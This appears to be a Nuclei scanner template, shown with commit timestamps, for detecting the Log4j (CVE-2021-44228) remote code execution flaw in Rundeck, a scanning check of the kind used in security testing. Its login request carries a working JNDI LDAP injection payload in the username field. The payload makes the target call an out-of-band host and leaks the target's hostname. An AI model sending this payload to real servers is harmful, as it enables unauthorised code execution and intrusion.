2022-08-03 13:15:34 +00:00
id : rundeck-log4j
info :
2022-08-10 16:40:35 +00:00
name : Rundeck - Remote Code Execution (Apache Log4j)
2022-08-03 13:15:34 +00:00
author : DhiyaneshDK
severity : critical
2022-10-10 19:22:59 +00:00
description : Rundeck is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
2022-08-03 13:15:34 +00:00
reference :
- https://docs.rundeck.com/docs/history/CVEs/log4j.html
2022-08-10 16:40:35 +00:00
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
2022-10-10 19:51:42 +00:00
classification :
2022-10-10 20:06:39 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10
2022-10-10 19:51:42 +00:00
cve-id : CVE-2021-44228
2022-10-19 21:11:27 +00:00
cwe-id : CWE-77
2022-08-03 13:15:34 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2022-08-03 13:15:34 +00:00
shodan-query : title:"Rundeck"
2023-06-04 08:13:42 +00:00
verified : true
2022-10-12 09:26:33 +00:00
tags : cve,cve2021,rce,jndi,log4j,rundeck,kev,oast
2023-05-03 18:46:17 +00:00
variables :
rand1 : '{{rand_int(111, 999)}}'
rand2 : '{{rand_int(111, 999)}}'
2023-04-27 04:28:59 +00:00
http :
2022-08-03 13:15:34 +00:00
- raw :
- |
POST /j_security_check HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
Origin : {{BaseURL}}
Connection : close
Referer : {{BaseURL}}/user/login
2023-05-03 18:46:17 +00:00
j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}&j_password=admin
2022-08-03 13:15:34 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-16 13:32:52 +00:00
part : interactsh_protocol # Confirms the DNS Interaction
2022-08-03 13:15:34 +00:00
words :
- "dns"
2022-10-19 12:13:25 +00:00
- type : word
part : location
words :
- '{{BaseURL}}/user/error'
2023-07-16 13:32:52 +00:00
- type : regex
part : interactsh_request
regex :
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
2022-08-03 13:15:34 +00:00
extractors :
- type : kval
kval :
- interactsh_ip # Print remote interaction IP in output
2023-05-03 18:46:17 +00:00
- type : regex
group : 2
regex :
2023-07-16 13:32:52 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
part : interactsh_request
2023-05-03 18:46:17 +00:00
2022-08-03 13:15:34 +00:00
- type : regex
group : 1
regex :
2023-07-16 13:32:52 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
part : interactsh_request